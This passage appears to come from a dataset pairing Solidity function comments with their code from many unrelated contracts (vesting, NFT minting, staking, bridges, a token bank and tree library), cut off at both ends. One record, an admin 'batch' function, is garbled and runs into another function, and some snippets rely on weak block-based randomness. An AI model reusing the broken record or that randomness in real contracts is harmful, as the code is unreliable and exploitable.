VESTING_START.add(VESTING_DURATION)) {\r\n totalAmount = _userInfo.purchasedAmount;\r\n } else {\r\n totalAmount = _userInfo.purchasedAmount.mul(block.timestamp.sub(VESTING_START)).div(VESTING_DURATION);\r\n }\r\n\r\n uint256 withdrawalAmount = totalAmount.sub(_userInfo.withdrawnAmount);\r\n return withdrawalAmount;\r\n }", "version": "0.8.6"} {"comment": "// Validate purchase", "function_code": "function _preValidatePurchase(address purchaser, uint256 tokenAmount, uint256 coinAmount, uint8 coinIndex) internal view {\r\n require( coinInfoCount >= coinIndex, \"coinInfoCount >= coinIndex\");\r\n CoinInfo memory _coinInfo = coinInfo[coinIndex];\r\n IERC20 coin = IERC20(_coinInfo.addr);\r\n\r\n require(purchaser != address(0), \"Purchaser is the zero address\");\r\n require(coinAmount != 0, \"Coin amount is 0\");\r\n require(tokenAmount != 0, \"Token amount is 0\");\r\n\r\n require(xGovToken.balanceOf(address(this)) >= tokenAmount, \"$xJoyToken amount is lack!\");\r\n require(coin.balanceOf(msg.sender) >= coinAmount, \"Purchaser's coin amount is lack!\");\r\n require(coin.allowance(msg.sender, address(this)) >= coinAmount, \"Purchaser's allowance is low!\");\r\n\r\n this;\r\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Get token details for a specific address from an index of owner's token lsit\n * @param owner_ for which to get the token details\n * @param index from which to start retrieving the token details\n */", "function_code": "function getTokenDetailsForFromIndex(address owner_, uint256 index)\n public\n view\n returns (NFTDetails[] memory)\n {\n uint256[] memory ownerList = ownerTokenList[owner_];\n NFTDetails[] memory details = new NFTDetails[](\n ownerList.length - index\n );\n uint256 counter = 0;\n for (uint256 i = index; i < ownerList.length; i++) {\n details[counter] = ownedTokensDetails[owner_][ownerList[i]];\n counter++;\n }\n return details;\n }", "version": "0.8.5"} {"comment": "/**\n * @dev Get the list of tokens for a specific owner\n * @param _owner address to retrieve token ids for\n */", "function_code": "function tokensByOwner(address _owner)\n external\n view\n returns (uint256[] memory)\n {\n uint256 tokenCount = balanceOf(_owner);\n if (tokenCount == 0) {\n return new uint256[](0);\n } else {\n uint256[] memory result = new uint256[](tokenCount);\n for (uint256 index; index < tokenCount; index++) {\n result[index] = tokenOfOwnerByIndex(_owner, index);\n }\n return result;\n }\n }", "version": "0.8.5"} {"comment": "/**\n * @dev Get the remaining contract balance\n */", "function_code": "function getRemainingContractBalance() public view returns (uint256) {\n uint256 balance = address(this).balance;\n uint256 teamBalance;\n for (uint8 i; i < currentTeamBalance.length; i++) {\n teamBalance += currentTeamBalance[i];\n }\n if (balance > teamBalance) {\n return balance - teamBalance;\n }\n return 0;\n }", "version": "0.8.5"} {"comment": "/**\n * Get random index and save it\n */", "function_code": "function randomId() internal returns (uint256) {\n uint256 totalSize = MAX_TOKENS - totalSupply();\n uint256 index = uint256(\n keccak256(\n abi.encodePacked(\n indexStorage.nonce,\n block.coinbase,\n block.difficulty,\n block.timestamp\n )\n )\n ) % totalSize;\n\n totalSize--;\n uint256 value;\n\n uint256 currentValue = indexStorage.indices[index];\n if (currentValue != 0) {\n value = currentValue;\n } else {\n value = index;\n }\n uint16 currentLastValue = indexStorage.indices[totalSize];\n // Move last value to selected position\n if (currentLastValue == 0) {\n // Array position not initialized, so use position\n indexStorage.indices[index] = uint16(totalSize);\n } else {\n // Array position holds a value so use that\n indexStorage.indices[index] = currentLastValue;\n }\n indexStorage.nonce++;\n // Don't allow a zero index, start counting at 1\n return value + 1;\n }", "version": "0.8.5"} {"comment": "/**\n * @dev Create a new royalty stage\n */", "function_code": "function _nextRoyaltyStage() internal {\n uint256 lastIndex = getLastRoyaltyStageIndex();\n uint256 valueAdded = address(depositor).balance -\n (totalRoyaltyAdded - totalRoyaltyWithdrawed);\n\n totalRoyaltyAdded += valueAdded;\n\n uint256 totalTeamRoyalty;\n for (uint8 i; i < royaltyReceiverAddresses.length; i++) {\n uint256 teamMemberRoyalty = (valueAdded *\n royaltyReceiverPercentages[i]) / 100;\n\n currentTeamRoyalty[i] += teamMemberRoyalty;\n\n totalTeamRoyalty += teamMemberRoyalty;\n }\n\n royaltyStages[lastIndex].endDate = block.timestamp;\n royaltyStages[lastIndex].amount = valueAdded;\n\n royaltyStages.push(RoyaltyStage(block.timestamp, 0, 0));\n }", "version": "0.8.5"} {"comment": "/**\n * @dev Check if a new royalty stage can be created\n */", "function_code": "function canChangeRoyaltyStage() public view returns (bool) {\n RoyaltyStage memory lastStage = royaltyStages[\n getLastRoyaltyStageIndex()\n ];\n uint256 valueAdded = address(depositor).balance -\n (totalRoyaltyAdded - totalRoyaltyWithdrawed);\n return\n valueAdded > 0 &&\n (block.timestamp - lastStage.startDate) >= royaltyInterval;\n }", "version": "0.8.5"} {"comment": "/**\r\n * @dev Mint token to own address.\r\n * @param _mintedAmount amount to mint.\r\n */", "function_code": "function mintToken(uint256 _mintedAmount) onlyAdmin supplyLock public {\r\n require(totalSupply.add(_mintedAmount) < 250000000 * (10**18)); //Max supply ever\r\n balances[msg.sender] = SafeMath.add(balances[msg.sender], _mintedAmount);\r\n totalSupply = SafeMath.add(totalSupply, _mintedAmount);\r\n emit Transfer(0, this, _mintedAmount);\r\n emit Transfer(this, msg.sender, _mintedAmount);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @notice Mint SpaceConvicts.\r\n * @param amount Number of SpaceConvicts to mint.\r\n * @dev Utilize unchecked {} and calldata for gas savings.\r\n */", "function_code": "function mint(uint16 amount) external payable {\r\n require(conf.mintEnabled, \"Minting is disabled.\");\r\n require(\r\n conf.supply + amount <= conf.maxNFTs,\r\n \"Amount exceeds maximum supply.\"\r\n );\r\n require(\r\n conf.price * amount <= msg.value,\r\n \"Ether value sent is not correct.\"\r\n );\r\n\r\n amount = amount + uint16(amount) / uint16(10) * 4 + uint16(amount % 10) / uint16(3);\r\n\r\n _safeMint(msg.sender, amount);\r\n conf.supply = conf.supply + amount;\r\n }", "version": "0.8.9"} {"comment": "// Withdraw LP tokens from MasterStar.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(_amount > 0, \"user amount is zero\");\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(_pid);\r\n uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt);\r\n safeTokenTransfer(msg.sender, pending);\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n if(pool.finishMigrate) { // finish migrate record user withdraw lpToken\r\n pool.lockCrosschainAmount = pool.lockCrosschainAmount.add(_amount);\r\n _depositMigratePoolAddr(_pid, pool.accTokenPerShare, _amount);\r\n\r\n emit MigrateWithdraw(msg.sender, _pid, _amount);\r\n }\r\n }", "version": "0.6.2"} {"comment": "// users convert LpToken crosschain conflux", "function_code": "function tokenConvert(uint256 _pid, address _to) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n require(pool.finishMigrate, \"migrate is not finish\");\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n uint256 _amount = user.amount;\r\n require(_amount > 0, \"user amount is zero\");\r\n updatePool(_pid);\r\n uint256 pending = _amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt);\r\n safeTokenTransfer(msg.sender, pending);\r\n user.amount = 0;\r\n user.rewardDebt = 0;\r\n pool.lpToken.safeTransfer(_to, _amount);\r\n\r\n pool.lockCrosschainAmount = pool.lockCrosschainAmount.add(_amount);\r\n _depositMigratePoolAddr(_pid, pool.accTokenPerShare, _amount);\r\n emit TokenConvert(msg.sender, _pid, _to, _amount);\r\n\r\n }", "version": "0.6.2"} {"comment": "// after migrate, mint LpToken's Yad to address", "function_code": "function _transferMigratePoolAddr(uint256 _pid, uint256 _poolAccTokenPerShare) internal\r\n {\r\n address migratePoolAddr = migratePoolAddrs[_pid];\r\n require(migratePoolAddr != address(0), \"address invaid\");\r\n\r\n UserInfo storage user = userInfo[_pid][migratePoolAddr];\r\n if(user.amount > 0){\r\n uint256 pending = user.amount.mul(_poolAccTokenPerShare).div(1e12).sub(user.rewardDebt);\r\n safeTokenTransfer(migratePoolAddr, pending);\r\n\r\n user.rewardDebt = user.amount.mul(_poolAccTokenPerShare).div(1e12);\r\n }\r\n }", "version": "0.6.2"} {"comment": "// function unstake(uint _pool_number) public {\n// require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number');\n// require(block.timestamp >= window_end_date+pools[_pool_number].pool_Duration,'not time to unstake yet');\n// require(!pools[_pool_number].isUnstaked[msg.sender],'already unstaked');\n// pools[_pool_number].isUnstaked[msg.sender] = true;\n// require(A5T_USDC_Pair.transfer(msg.sender, pools[_pool_number].stake_amount[msg.sender]),'transfer Token Error');\n// emit unstakeEvent(msg.sender, pools[_pool_number].stake_amount[msg.sender],_pool_number);\n// }\n// function claimReward(uint _pool_number) public{\n// require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number');\n// require(block.timestamp >= window_end_date+pools[_pool_number].pool_Duration,'not time to unstake yet');\n// require(pools[_pool_number].stake_amount[msg.sender] > 0,'nothing to unstake');\n// require(!pools[_pool_number].isClaimed[msg.sender],'already claimed');\n// pools[_pool_number].isClaimed[msg.sender] = true;\n// require(A5T.transfer(msg.sender, pools[_pool_number].stake_amount[msg.sender].mul(pools[_pool_number].total_A5T_Reward).div(pools[_pool_number].TVL)),'transfer Token Error');\n// emit rewardEvent(msg.sender, pools[_pool_number].stake_amount[msg.sender].mul(pools[_pool_number].total_A5T_Reward).div(pools[_pool_number].TVL),_pool_number);\n// }", "function_code": "function claimAndUnstake(uint _pool_number) public{\r\n require(_pool_number>0 && _pool_number<=pool_count,'invalid pool number');\r\n require(block.timestamp >= window_end_date+pools[_pool_number].pool_Duration,'not time to unstake yet');\r\n require(pools[_pool_number].stake_amount[msg.sender] > 0,'nothing to unstake');\r\n require(!pools[_pool_number].isClaimed[msg.sender],'already claimed');\r\n \r\n pools[_pool_number].isClaimed[msg.sender] = true;\r\n \r\n require(A5T_USDC_Pair.transfer(msg.sender, pools[_pool_number].stake_amount[msg.sender]),'transfer Token Error');\r\n \r\n emit unstakeEvent(msg.sender, pools[_pool_number].stake_amount[msg.sender],_pool_number);\r\n \r\n require(A5T.transfer(msg.sender, pools[_pool_number].stake_amount[msg.sender].mul(pools[_pool_number].total_A5T_Reward).div(pools[_pool_number].TVL)),'transfer Token Error');\r\n \r\n emit rewardEvent(msg.sender, pools[_pool_number].stake_amount[msg.sender].mul(pools[_pool_number].total_A5T_Reward).div(pools[_pool_number].TVL),_pool_number);\r\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Change token owner details mappings\n */", "function_code": "function _updateTokenOwners(\n address from,\n address to,\n uint256 tokenId\n ) internal {\n uint256 currentIndex = ownerTokenList[to].length;\n ownerTokenList[to].push(tokenId);\n ownedTokensDetails[to][tokenId] = NFTDetails(\n tokenId,\n currentIndex,\n block.timestamp,\n 0\n );\n\n NFTDetails storage details = ownedTokensDetails[from][tokenId];\n details.endTime = block.timestamp;\n\n uint256[] storage fromList = ownerTokenList[from];\n fromList[details.index] = fromList[fromList.length - 1];\n fromList.pop();\n }", "version": "0.8.5"} {"comment": "/**\n * @dev Whitelist mint tokens to a specific address\n * @param to address to mint token for\n * @param proof to be validated\n */", "function_code": "function mintWhitelistTo(address to, bytes32[] memory proof)\n public\n payable\n nonReentrant\n {\n require(whitelistMintingStarted, NOT_STARTED);\n require(\n block.timestamp - whitelistMintingStartTime <=\n maxWhitelistMintingTime,\n CANT_MINT\n );\n require(\n numberOfMintedTokensFor[msg.sender] == 0 ||\n (numberOfMintedTokensFor[msg.sender] == 1 &&\n claimedFreeMintedTokensFor[msg.sender] > 0),\n CANT_MINT\n );\n hasValidProof(proof, merkleRoot);\n\n addressRoles[msg.sender] = ROLE_Rare;\n\n _internalMint(to, 1, true);\n }", "version": "0.8.5"} {"comment": "// Governable", "function_code": "function addMoves(uint256[] memory _moves, bool _append) external onlyGovernor {\n if (!_append) {\n delete moves;\n delete nextMove;\n }\n for (uint256 i = 0; i < _moves.length; i++) {\n moves.push(_moves[i]);\n }\n board = IChess(fiveOutOfNine).board();\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev remove minter. Only owner can call.\r\n */", "function_code": "function removeMinter(address minter) external onlyOwner {\r\n require(minters[minter], \"Not minter\");\r\n minters[minter] = false;\r\n for (uint256 i = 0; i < mintersList.length; i++) {\r\n if (mintersList[i] == minter) {\r\n mintersList[i] = mintersList[mintersList.length - 1];\r\n mintersList.pop();\r\n }\r\n }\r\n emit MinterRemoved(minter);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * This is an especial Admin-only function to make massive tokens assignments\r\n */", "function_code": "function batch(address[] data,uint256[] amount) onlyAdmin public { //It takes an arrays of addresses and amount\r\n \r\n require(data.length == amount.length);\r\n uint256 length = data.length;\r\n address target;\r\n uint256 value;\r\n\r\n for (uint i=0; i 0, \"new rate must be positive\");\r\n\t\trequire(newTime > 0, \"new membership time must be positive\");\r\n\t\tmRate = newMrate * 10 ** uint256(15); //The amount is in finney\r\n\t\tmembershiptime = newTime * 86400; //The amount is in days\r\n\t}", "version": "0.5.1"} {"comment": "/**\n * @notice Delegates batch from the account\n * @dev Use `hashDelegatedBatch` to create sender message payload.\n *\n * `GatewayRecipient` context api:\n * `_getContextAccount` will return `account` arg\n * `_getContextSender` will return recovered address from `senderSignature` arg\n *\n * @param account account address\n * @param nonce next account nonce\n * @param to array of batch recipients contracts\n * @param data array of batch data\n * @param senderSignature sender signature\n */", "function_code": "function delegateBatch(\n address account,\n uint256 nonce,\n address[] memory to,\n bytes[] memory data,\n bytes memory senderSignature\n )\n public\n {\n require(\n nonce > accountNonce[account],\n \"Gateway: nonce is lower than current account nonce\"\n );\n\n address sender = _hashPrimaryTypedData(\n _hashTypedData(\n account,\n nonce,\n to,\n data\n )\n ).recoverAddress(senderSignature);\n\n accountNonce[account] = nonce;\n\n _sendBatch(\n account,\n sender,\n to,\n data\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Delegates multiple batches\n * @dev It will revert when all batches fail\n * @param batches array of batches\n * @param revertOnFailure reverts on any error\n */", "function_code": "function delegateBatches(\n bytes[] memory batches,\n bool revertOnFailure\n )\n public\n {\n require(\n batches.length > 0,\n \"Gateway: cannot delegate empty batches\"\n );\n\n bool anySucceeded;\n\n for (uint256 i = 0; i < batches.length; i++) {\n // solhint-disable-next-line avoid-low-level-calls\n (bool succeeded,) = address(this).call(batches[i]);\n\n if (revertOnFailure) {\n require(\n succeeded,\n \"Gateway: batch reverted\"\n );\n } else if (succeeded && !anySucceeded) {\n anySucceeded = true;\n }\n\n emit BatchDelegated(\n msg.sender,\n batches[i],\n succeeded\n );\n }\n\n if (!anySucceeded) {\n revert(\"Gateway: all batches reverted\");\n }\n }", "version": "0.6.12"} {"comment": "// private functions (pure)", "function_code": "function _hashTypedData(\n address account,\n uint256 nonce,\n address[] memory to,\n bytes[] memory data\n )\n private\n pure\n returns (bytes32)\n {\n bytes32[] memory dataHashes = new bytes32[](data.length);\n\n for (uint256 i = 0; i < data.length; i++) {\n dataHashes[i] = keccak256(data[i]);\n }\n\n return keccak256(abi.encode(\n DELEGATED_BATCH_TYPE_HASH,\n account,\n nonce,\n keccak256(abi.encodePacked(to)),\n keccak256(abi.encodePacked(dataHashes))\n ));\n }", "version": "0.6.12"} {"comment": "/** @dev Locks tokens to bridge. External bot initiates unlock on other blockchain.\r\n * @param amount -- Amount of BabyDoge to lock.\r\n */", "function_code": "function lock(IERC20 token, uint256 amount) external onlySokuTokens(token) Pausable {\r\n address sender = msg.sender;\r\n require(_tokenConfig[token].exists == true, \"Bridge: access denied.\");\r\n require(token.balanceOf(sender) >= amount, \"Bridge: Account has insufficient balance.\");\r\n TokenConfig storage config = _tokenConfig[token];\r\n require(amount <= config.maximumTransferAmount, \"Bridge: Please reduce the amount of tokens.\");\r\n\r\n if (block.timestamp >= _dailyTransferNextTimestamp) {\r\n resetTransferCounter(token);\r\n }\r\n\r\n config.dailyLockTotal = config.dailyLockTotal + amount;\r\n\r\n if(config.dailyLockTotal > config.dailyTransferLimit) {\r\n revert(\"Bridge: Daily transfer limit reached.\");\r\n }\r\n\r\n require(token.transferFrom(sender, address(this), amount), \"Bridge: Transfer failed.\");\r\n\r\n emit BridgeTransfer(\r\n address(token),\r\n sender,\r\n address(this),\r\n amount,\r\n block.timestamp,\r\n nonce\r\n );\r\n \r\n nonce++;\r\n }", "version": "0.8.7"} {"comment": "// Verificar limite transacao", "function_code": "function release(IERC20 token, address to, uint256 amount, uint256 otherChainNonce) \r\n external OnlyUnlocker() onlySokuTokens(token) Pausable {\r\n require(!_processedNonces[otherChainNonce], \"Bridge: Transaction processed.\");\r\n require(to!= address(0), \"Bridge: access denied.\");\r\n TokenConfig storage config = _tokenConfig[token];\r\n require(amount <= config.maximumTransferAmount, \"Bridge: Transfer blocked.\");\r\n _processedNonces[otherChainNonce] = true;\r\n\r\n _balances[token][to] = _balances[token][to] + amount; \r\n }", "version": "0.8.7"} {"comment": "// Make sure only the individuals with the permissions can call the minting function", "function_code": "function mint(address _to, uint256 _amount) whenNotPaused onlyMinters notBlacklisted(msg.sender) notBlacklisted(_to) public returns (bool) {\n require(_to != address(0));\n require(_amount > 0);\n\n uint256 mintingAllowedAmount = minterAllowed[msg.sender];\n require(_amount <= mintingAllowedAmount);\n\n totalSupply_ = totalSupply_.add(_amount);\n balances[_to] = balances[_to].add(_amount);\n minterAllowed[msg.sender] = mintingAllowedAmount.sub(_amount);\n emit Mint(msg.sender, _to, _amount);\n emit Transfer(address(0x0), _to, _amount);\n return true;\n }", "version": "0.5.10"} {"comment": "/**\n * @dev transfer token for a specified address\n * @param _to The address to transfer to.\n * @param _value The amount to be transferred.\n * These two functions allow the token to be transacted from one address to another\n * @return bool success\n */", "function_code": "function transfer(address _to, uint256 _value) whenNotPaused notBlacklisted(msg.sender) notBlacklisted(_to) public returns (bool) {\n require(_to != address(0));\n require(_value <= balances[msg.sender]);\n\n balances[msg.sender] = balances[msg.sender].sub(_value);\n balances[_to] = balances[_to].add(_value);\n emit Transfer(msg.sender, _to, _value);\n return true;\n }", "version": "0.5.10"} {"comment": "/**\n * @dev allows a minter to burn some of its own tokens\n * Validates that caller is a minter and that sender is not blacklisted\n * amount is less than or equal to the minter's account balance\n * @param _amount uint256 the amount of tokens to be burned\n */", "function_code": "function burn(uint256 _amount) whenNotPaused onlyMinters notBlacklisted(msg.sender) public {\n uint256 balance = balances[msg.sender];\n require(_amount > 0);\n require(balance >= _amount);\n// This burn should be called when individuals want to cash out the ERC20 token for real dollars\n// Thus, we can retire the supply after the correct value of money or real services is provided\n totalSupply_ = totalSupply_.sub(_amount);\n balances[msg.sender] = balance.sub(_amount);\n emit Burn(msg.sender, _amount);\n emit Transfer(msg.sender, address(0), _amount);\n }", "version": "0.5.10"} {"comment": "// @dev TLN constructor just parametrizes the MiniMeIrrevocableVestedToken constructor", "function_code": "function TLN(address _tokenFactory) public\r\n MiniMeToken(\r\n _tokenFactory,\r\n 0x0, // no parent token\r\n 0, // no snapshot block number from parent\r\n TLN_TOKEN_NAME, // Token name\r\n TLN_TOKEN_DECIMALS, // Decimals\r\n TLN_TOKEN_SYMBOL, // Symbol\r\n true // Enable transfers\r\n ) {}", "version": "0.4.19"} {"comment": "// ------------------------------------------------------------------------\n// 100,000,000,000 FWD Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable \r\n {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 150000000000;\r\n } else {\r\n tokens = msg.value * 100000000000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.19"} {"comment": "/// @dev Converts an unsigned integert to its string representation.\n/// @param v The number to be converted.", "function_code": "function uintToBytes(uint v) constant returns (bytes32 ret) {\r\n if (v == 0) {\r\n ret = '0';\r\n }\r\n else {\r\n while (v > 0) {\r\n ret = bytes32(uint(ret) / (2 ** 8));\r\n ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));\r\n v /= 10;\r\n }\r\n }\r\n return ret;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Converts a numeric string to it's unsigned integer representation.\n/// @param v The string to be converted.", "function_code": "function bytesToUInt(bytes32 v) constant returns (uint ret) {\r\n if (v == 0x0) {\r\n throw;\r\n }\r\n\r\n uint digit;\r\n\r\n for (uint i = 0; i < 32; i++) {\r\n digit = uint((uint(v) / (2 ** (8 * (31 - i)))) & 0xff);\r\n if (digit == 0) {\r\n break;\r\n }\r\n else if (digit < 48 || digit > 57) {\r\n throw;\r\n }\r\n ret *= 10;\r\n ret += (digit - 48);\r\n }\r\n return ret;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Low level method for removing funds from an account. Protects against underflow.\n/// @param self The Bank instance to operate on.\n/// @param accountAddress The address of the account the funds should be deducted from.\n/// @param value The amount that should be deducted from the account.", "function_code": "function deductFunds(Bank storage self, address accountAddress, uint value) public {\r\n /*\r\n * Helper function that should be used for any reduction of\r\n * account funds. It has error checking to prevent\r\n * underflowing the account balance which would be REALLY bad.\r\n */\r\n if (value > self.accountBalances[accountAddress]) {\r\n // Prevent Underflow.\r\n throw;\r\n }\r\n self.accountBalances[accountAddress] -= value;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Safe function for withdrawing funds. Returns boolean for whether the deposit was successful as well as sending the amount in ether to the account address.\n/// @param self The Bank instance to operate on.\n/// @param accountAddress The address of the account the funds should be withdrawn from.\n/// @param value The amount that should be withdrawn from the account.", "function_code": "function withdraw(Bank storage self, address accountAddress, uint value) public returns (bool) {\r\n /*\r\n * Public API for withdrawing funds.\r\n */\r\n if (self.accountBalances[accountAddress] >= value) {\r\n deductFunds(self, accountAddress, value);\r\n if (!accountAddress.send(value)) {\r\n // Potentially sending money to a contract that\r\n // has a fallback function. So instead, try\r\n // tranferring the funds with the call api.\r\n if (!accountAddress.call.value(value)()) {\r\n // Revert the entire transaction. No\r\n // need to destroy the funds.\r\n throw;\r\n }\r\n }\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Retrieve the node id of the next node in the tree.\n/// @param index The index that the node is part of.\n/// @param id The id for the node to be looked up.", "function_code": "function getPreviousNode(Index storage index, bytes32 id) constant returns (bytes32) {\r\n Node storage currentNode = index.nodes[id];\r\n\r\n if (currentNode.id == 0x0) {\r\n // Unknown node, just return 0x0;\r\n return 0x0;\r\n }\r\n\r\n Node memory child;\r\n\r\n if (currentNode.left != 0x0) {\r\n // Trace left to latest child in left tree.\r\n child = index.nodes[currentNode.left];\r\n\r\n while (child.right != 0) {\r\n child = index.nodes[child.right];\r\n }\r\n return child.id;\r\n }\r\n\r\n if (currentNode.parent != 0x0) {\r\n // Now we trace back up through parent relationships, looking\r\n // for a link where the child is the right child of it's\r\n // parent.\r\n Node storage parent = index.nodes[currentNode.parent];\r\n child = currentNode;\r\n\r\n while (true) {\r\n if (parent.right == child.id) {\r\n return parent.id;\r\n }\r\n\r\n if (parent.parent == 0x0) {\r\n break;\r\n }\r\n child = parent;\r\n parent = index.nodes[parent.parent];\r\n }\r\n }\r\n\r\n // This is the first node, and has no previous node.\r\n return 0x0;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Retrieve the node id of the previous node in the tree.\n/// @param index The index that the node is part of.\n/// @param id The id for the node to be looked up.", "function_code": "function getNextNode(Index storage index, bytes32 id) constant returns (bytes32) {\r\n Node storage currentNode = index.nodes[id];\r\n\r\n if (currentNode.id == 0x0) {\r\n // Unknown node, just return 0x0;\r\n return 0x0;\r\n }\r\n\r\n Node memory child;\r\n\r\n if (currentNode.right != 0x0) {\r\n // Trace right to earliest child in right tree.\r\n child = index.nodes[currentNode.right];\r\n\r\n while (child.left != 0) {\r\n child = index.nodes[child.left];\r\n }\r\n return child.id;\r\n }\r\n\r\n if (currentNode.parent != 0x0) {\r\n // if the node is the left child of it's parent, then the\r\n // parent is the next one.\r\n Node storage parent = index.nodes[currentNode.parent];\r\n child = currentNode;\r\n\r\n while (true) {\r\n if (parent.left == child.id) {\r\n return parent.id;\r\n }\r\n\r\n if (parent.parent == 0x0) {\r\n break;\r\n }\r\n child = parent;\r\n parent = index.nodes[parent.parent];\r\n }\r\n\r\n // Now we need to trace all the way up checking to see if any parent is the \r\n }\r\n\r\n // This is the final node.\r\n return 0x0;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Returns the first generation id that fully contains the block window provided.\n/// @param self The pool to operate on.\n/// @param leftBound The left bound for the block window (inclusive)\n/// @param rightBound The right bound for the block window (inclusive)", "function_code": "function getGenerationForWindow(Pool storage self, uint leftBound, uint rightBound) constant returns (uint) {\r\n // TODO: tests\r\n var left = GroveLib.query(self.generationStart, \"<=\", int(leftBound));\r\n\r\n if (left != 0x0) {\r\n Generation memory leftCandidate = self.generations[StringLib.bytesToUInt(left)];\r\n if (leftCandidate.startAt <= leftBound && (leftCandidate.endAt >= rightBound || leftCandidate.endAt == 0)) {\r\n return leftCandidate.id;\r\n }\r\n }\r\n\r\n var right = GroveLib.query(self.generationEnd, \">=\", int(rightBound));\r\n if (right != 0x0) {\r\n Generation memory rightCandidate = self.generations[StringLib.bytesToUInt(right)];\r\n if (rightCandidate.startAt <= leftBound && (rightCandidate.endAt >= rightBound || rightCandidate.endAt == 0)) {\r\n return rightCandidate.id;\r\n }\r\n }\r\n\r\n return 0;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Returns the first generation that is currently active.\n/// @param self The pool to operate on.", "function_code": "function getCurrentGenerationId(Pool storage self) constant returns (uint) {\r\n // TODO: tests\r\n var next = GroveLib.query(self.generationEnd, \">\", int(block.number));\r\n if (next != 0x0) {\r\n return StringLib.bytesToUInt(next);\r\n }\r\n\r\n next = GroveLib.query(self.generationStart, \"<=\", int(block.number));\r\n if (next != 0x0) {\r\n return StringLib.bytesToUInt(next);\r\n }\r\n return 0;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Returns a boolean for whether the given address is in the given generation.\n/// @param self The pool to operate on.\n/// @param resourceAddress The address to check membership of\n/// @param generationId The id of the generation to check.", "function_code": "function isInGeneration(Pool storage self, address resourceAddress, uint generationId) constant returns (bool) {\r\n // TODO: tests\r\n if (generationId == 0) {\r\n return false;\r\n }\r\n Generation memory generation = self.generations[generationId];\r\n for (uint i = 0; i < generation.members.length; i++) {\r\n if (generation.members[i] == resourceAddress) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Returns a boolean as to whether the provided address is allowed to enter the pool at this time.\n/// @param self The pool to operate on.\n/// @param resourceAddress The address in question\n/// @param minimumBond The minimum bond amount that should be required for entry.", "function_code": "function canEnterPool(Pool storage self, address resourceAddress, uint minimumBond) constant returns (bool) {\r\n /*\r\n * - bond\r\n * - pool is open\r\n * - not already in it.\r\n * - not already left it.\r\n */\r\n // TODO: tests\r\n if (self.bonds[resourceAddress] < minimumBond) {\r\n // Insufficient bond balance;\r\n return false;\r\n }\r\n\r\n if (isInPool(self, resourceAddress)) {\r\n // Already in the pool either in the next upcoming generation\r\n // or the currently active generation.\r\n return false;\r\n }\r\n\r\n var nextGenerationId = getNextGenerationId(self);\r\n if (nextGenerationId != 0) {\r\n var nextGeneration = self.generations[nextGenerationId];\r\n if (block.number + self.freezePeriod >= nextGeneration.startAt) {\r\n // Next generation starts too soon.\r\n return false;\r\n }\r\n }\r\n\r\n return true;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Adds the address to pool by adding them to the next generation (as well as creating it if it doesn't exist).\n/// @param self The pool to operate on.\n/// @param resourceAddress The address to be added to the pool\n/// @param minimumBond The minimum bond amount that should be required for entry.", "function_code": "function enterPool(Pool storage self, address resourceAddress, uint minimumBond) public returns (uint) {\r\n if (!canEnterPool(self, resourceAddress, minimumBond)) {\r\n throw;\r\n }\r\n uint nextGenerationId = getNextGenerationId(self);\r\n if (nextGenerationId == 0) {\r\n // No next generation has formed yet so create it.\r\n nextGenerationId = createNextGeneration(self);\r\n }\r\n Generation storage nextGeneration = self.generations[nextGenerationId];\r\n // now add the new address.\r\n nextGeneration.members.length += 1;\r\n nextGeneration.members[nextGeneration.members.length - 1] = resourceAddress;\r\n return nextGenerationId;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Returns a boolean as to whether the provided address is allowed to exit the pool at this time.\n/// @param self The pool to operate on.\n/// @param resourceAddress The address in question", "function_code": "function canExitPool(Pool storage self, address resourceAddress) constant returns (bool) {\r\n if (!isInCurrentGeneration(self, resourceAddress)) {\r\n // Not in the pool.\r\n return false;\r\n }\r\n\r\n uint nextGenerationId = getNextGenerationId(self);\r\n if (nextGenerationId == 0) {\r\n // Next generation hasn't been generated yet.\r\n return true;\r\n }\r\n\r\n if (self.generations[nextGenerationId].startAt - self.freezePeriod <= block.number) {\r\n // Next generation starts too soon.\r\n return false;\r\n }\r\n\r\n // They can leave if they are still in the next generation.\r\n // otherwise they have already left it.\r\n return isInNextGeneration(self, resourceAddress);\r\n }", "version": "0.1.6"} {"comment": "/// @dev Removes the address from the pool by removing them from the next generation (as well as creating it if it doesn't exist)\n/// @param self The pool to operate on.\n/// @param resourceAddress The address in question", "function_code": "function exitPool(Pool storage self, address resourceAddress) public returns (uint) {\r\n 